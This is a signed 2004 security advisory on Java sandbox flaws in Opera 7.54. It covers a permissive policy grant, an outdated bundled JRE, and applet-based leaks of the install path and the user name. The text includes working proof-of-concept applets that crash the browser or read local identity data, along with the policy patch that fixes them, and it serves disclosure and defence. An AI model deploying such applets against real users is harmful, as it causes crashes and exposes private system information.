Java Vulnerabilities in Opera 7.54
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Illegalaccess.org Advisory: Opera 7.54 Java vulnerabilities
Author: Marc Schönefeld, www.illegalaccess.org
Summary
Opera 7.54 is vulnerable to leakage of the java sandbox, allowing malicious
applets to gain unacceptable privileges. This allows them to be used for
information gathering (spying) of local identity information and system
configurations as well as causing annoying crash effects.
History
Discovery and vendor informed: 01 Sep 2004
Public Disclosure: 19 Nov 2004
Solution
Opera Software has eliminated the vulnerability in current 7.60 beta
versions. The 7.54 version can be cured by applying a patch to the file
opera.policy to achieve the same effect.
Affected Version
Opera 7.54 for all platforms, although several exploits were only tested on
win32. Prior versions may also be affected.
Problem 1: Problem with Java Policy settings
In contrast to other major browsers which use the Java Plugin, Opera uses
the JRE directly with a proprietary adapter. Opera also introduces it's own
default policy, allowing unprivileged applets access to internal
sun-packages by specifying in Opera.policy:
grant {
permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
};
This opens the gate to some undocumented functionality and violates Sun's
guidelines for secure java programming. These lines should be commented out
to get rid of the vulnerabilities shown in the later text. An attacker could
crash the browser or do some other annoying things harmful to the user. Just
like with the following proof-of-concept to trigger a native debug
assertion:
import sun.awt.font.*;
public class Opera754FontCrashApplet extends java.applet.Applet{
public void start() {
int j =
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1
Opera 754 FontCrash, wanna crash? ");
if (j == 0) {
NativeFontWrapper.getFullNameByIndex(Integer.MIN_VALUE);
NativeFontWrapper.getFullNameByIndex(Integer.MAX_VALUE);
}
}
}
The default java appletviewer which implements the same security mechanisms
than the Java plugin complains with the following message instead of
executing the method invocation:
java.security.AccessControlException: access denied
(java.lang.RuntimePermission
accessClassInPackage.sun.awt.font)
at
java.security.AccessControlContext.checkPermission(AccessControlConte
xt.java:269)
at
java.security.AccessController.checkPermission(AccessController.java:
401)
at
java.lang.SecurityManager.checkPermission(SecurityManager.java:524)
at
java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:149
1)
at
sun.applet.AppletSecurity.checkPackageAccess(AppletSecurity.java:190)
at sun.applet.AppletClassLoader.loadClass(AppletClassLoader.java:119)
at java.lang.ClassLoader.loadClass(ClassLoader.java:235)
at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:302)
at Opera754FontCrashApplet.start(Opera754FontCrashApplet.java:9)
at sun.applet.AppletPanel.run(AppletPanel.java:377)
at java.lang.Thread.run(Thread.java:534)
Opera allows all untrusted applets access to these classes by disabling the
need to acquire a access permission for sun packages.
In general we recommend the Opera programmers to switch the opera java
architecture to the standards based approach and use the java plugin.
Problem 2: JRE Packaging
Opera 754 which was released Aug 5,2004 is vulnerable to the XSLT processor
covert channel attack, which was corrected with JRE 1.4.2_05 [released in
July 04], but in disadvantage to the users the opera packaging guys chose to
bundle the JRE 1.4.2_04, being quite aware of the offical Sun advisory
(http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57613) reporting
this issue, which was released a few days earlier.
Problem 3: Internal pointer DoS exploitation:
Opera.jar contains the opera replacement of the java plugin. It therefore
handles communication between javascript and the Java VM via the liveconnect
protocol. The public class EcmaScriptObject exposes a system memory pointer
to the java address space, by constructing a special variant of this type an
internal cache table can be polluted by false entries that infer proper
function of the JSObject class and in the following proof-of-concept crash
the browser.
import netscape.javascript.*;
import com.opera.*;
public class Opera754EcmaScriptApplet extends java.applet.Applet{
public void start() {
PluginContext pc = (PluginContext)this.getAppletContext();
int jswin= pc.getJSWindow();
int esrun= pc.getESRuntime();
EcmaScriptObject eso4 = EcmaScriptObject.getObject (jswin,1);
try {
JSObject js = JSObject.getWindow(this);
System.out.println(js);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
Problem 4: Exposure of location of local java installation
Sniffing the URL classpath allows to retrieve the URLs of the bootstrap
class path and therefore the JDK installation directory. This is of course a
privilege escalation for an untrusted applet. :
import sun.misc.*;
import java.util.Enumeration;
public class Opera754LauncherApplet extends java.applet.Applet{
public void start() {
URLClassPath o = Launcher.getBootstrapClassPath();
for (int i = 0; i < o.getURLs().length; i++) {
System.out.println(o.getURLs()[i]);
}
}
}
Problem 5: Exposure of local user name to an untrusted applet
An attacker could use the sun.security.krb5.Credentials class to retrieve
the name of the currently logged in user and parse his home directory from
the information which is provided by the thrown
java.security.AccessControlException .
import sun.security.krb5.*;
public class Opera754KerberosAppletPrint extends java.applet.Applet{
public void start() {
int j =
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1
Opera 754 FontCrash, wanna crash? ");
System.out.println(j);
try {
Credentials c = Credentials.acquireDefaultCreds();
System.out.println(c);
j =
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org |Got
something for ya"+c);
}
catch (Exception e) {
j = javax.swing.JOptionPane.showConfirmDialog(null,e.toString());
}
}
}
The attacker may then evaluate the following exception thrown by
acquireDefaultCreds, which allows him to guess the operating system, the
location of user files as well as the name of the user running the applet.
java.security.AccessControlException: access denied (java.io.FilePermission
C:\Dokumente und Einstellungen\Marc\krb5cc_Marc read)
Solution:
For secure java browsing we recommend to use a browser (such as Firefox)
that supports the standard Java Plugin and the standard browser sandbox. For
non-java browsing Opera may be sufficient. If you decide to continue using
Opera then you are recommended to upgrade to the latest beta of Opera 7.60
or apply the following patch in the java policy file (.opera.policy.) in
your opera installation. This can be done easily by commenting out the
following grant section.
// Standard extensions get all permissions by default
[...]
//grant {
// permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
//};
Greetz:
Halvar, FX, Johnny and G0dzilla..., Anne Stavnes and Christen Krogh of Opera
Further Bugs:
These bugs are only examples for a couple more bugs that are of the same
kind.
Disclaimer:
The information in this advisory and any of its demonstrations is provided
"as is" without warranty of any kind. Illegalaccess.org is not liable for
any direct or indirect damages caused as a result of using the information
or demonstrations provided in any part of this advisory.
- --
Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous
Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (AIX)
iD8DBQFBnievqCaQvrKNUNQRAhUUAKCAxGkyd2ijxvJ9WeHDeqmajQmndgCfT9wM
P151JR+1gltkxFhi/H+YYtM=
=TPTb
-----END PGP SIGNATURE-----